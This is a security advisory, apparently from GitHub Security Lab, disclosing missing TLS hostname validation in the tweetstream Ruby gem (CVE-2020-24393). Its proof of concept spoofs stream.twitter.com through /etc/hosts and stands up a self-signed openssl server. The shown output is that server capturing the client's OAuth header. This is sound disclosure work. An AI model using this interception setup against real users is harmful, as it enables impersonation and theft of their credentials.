September 22, 2020

GHSL-2020-096: Missing hostname validation in tweetstream - CVE-2020-24393

Agustin Gianni

Summary

Missing hostname validation allows an attacker to perform a monster in the middle attack against users of the library.

Product

tweetstream

Tested Version

v2.6.1

Details

Missing SSL/TLS certificate hostname validation

tweetstream uses the library eventmachine in an insecure way that allows an attacker to perform a monster in the middle attack against users of the library.

Impact

An attacker can assume the identity of a trusted server and introduce malicious data in an otherwise trusted place.

Resources

To trigger the vulnerability, a simple TLS enabled listening daemon is sufficient as described in the following snippets.

```
# Add a fake DNS entry to /etc/hosts.
$ echo "127.0.0.1 stream.twitter.com" | sudo tee -a /etc/hosts

# Create a certificate.
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# Listen on port 443 with TLS enabled.
$ openssl s_server -key key.pem -cert cert.pem -accept 443
Using auto DH parameters
Using default temp ECDH parameters
ACCEPT
-----BEGIN SSL SESSION PARAMETERS-----
MFUCAQECAgMDBALAMAQABDBvBrl+xDDQQtrfCY7Ze0u3b7D760+4j5LJEYeCpnF+
77Ey6JC8jrtq/HGgyz3KjoahBgIEXsJXjaIEAgIcIKQGBAQBAAAA
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-CAMELLIA256-SHA256:EC
CIPHER is ECDHE-RSA-AES256-GCM-SHA384
Secure Renegotiation IS supported
GET /1.1/statuses/sample.json? HTTP/1.1
Host: stream.twitter.com
Accept: */*
User-Agent: TweetStream Ruby Gem 2.6.1
Authorization: OAuth oauth_consumer_key="abcdefghijklmnopqrstuvwxyz", oauth_nonce="972eb094309bad9a27eba729ad15fd39", oauth_signature="LmE4Sgytv6bMWjHm%2B05LX2A7gm4%3D", oauth_signature_method="HMAC-SHA1", oauth_timestamp="1589794701", oauth_token="abcdefghijklmnopqrstuvwxyz", oauth_
```

Create a sample client with the following contents:

```
require 'tweetstream'

TweetStream.configure do |config|
  config.consumer_key       = 'abcdefghijklmnopqrstuvwxyz'
  config.consumer_secret    = '0123456789'
  config.oauth_token        = 'abcdefghijklmnopqrstuvwxyz'
  config.oauth_token_secret = '0123456789'
  config.auth_method        = :oauth
end

TweetStream::Client.new.sample do |status|
  puts "#{status.text}"
end
```

Run the example client to see a connection being performed in the listening daemon initialized in the previous steps.

```
$ ruby tweetstream.rb
```

References

CWE-297: Improper Validation of Certificate with Host Mismatch

CVE

CVE-2020-24393

Coordinated Disclosure Timeline

- 18/05/2020: Report sent to Vendor
- 24/08/2020: Coordinated disclosure deadline expired, no maintainer response

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include the `GHSL-2020-096` in any communication regarding this issue.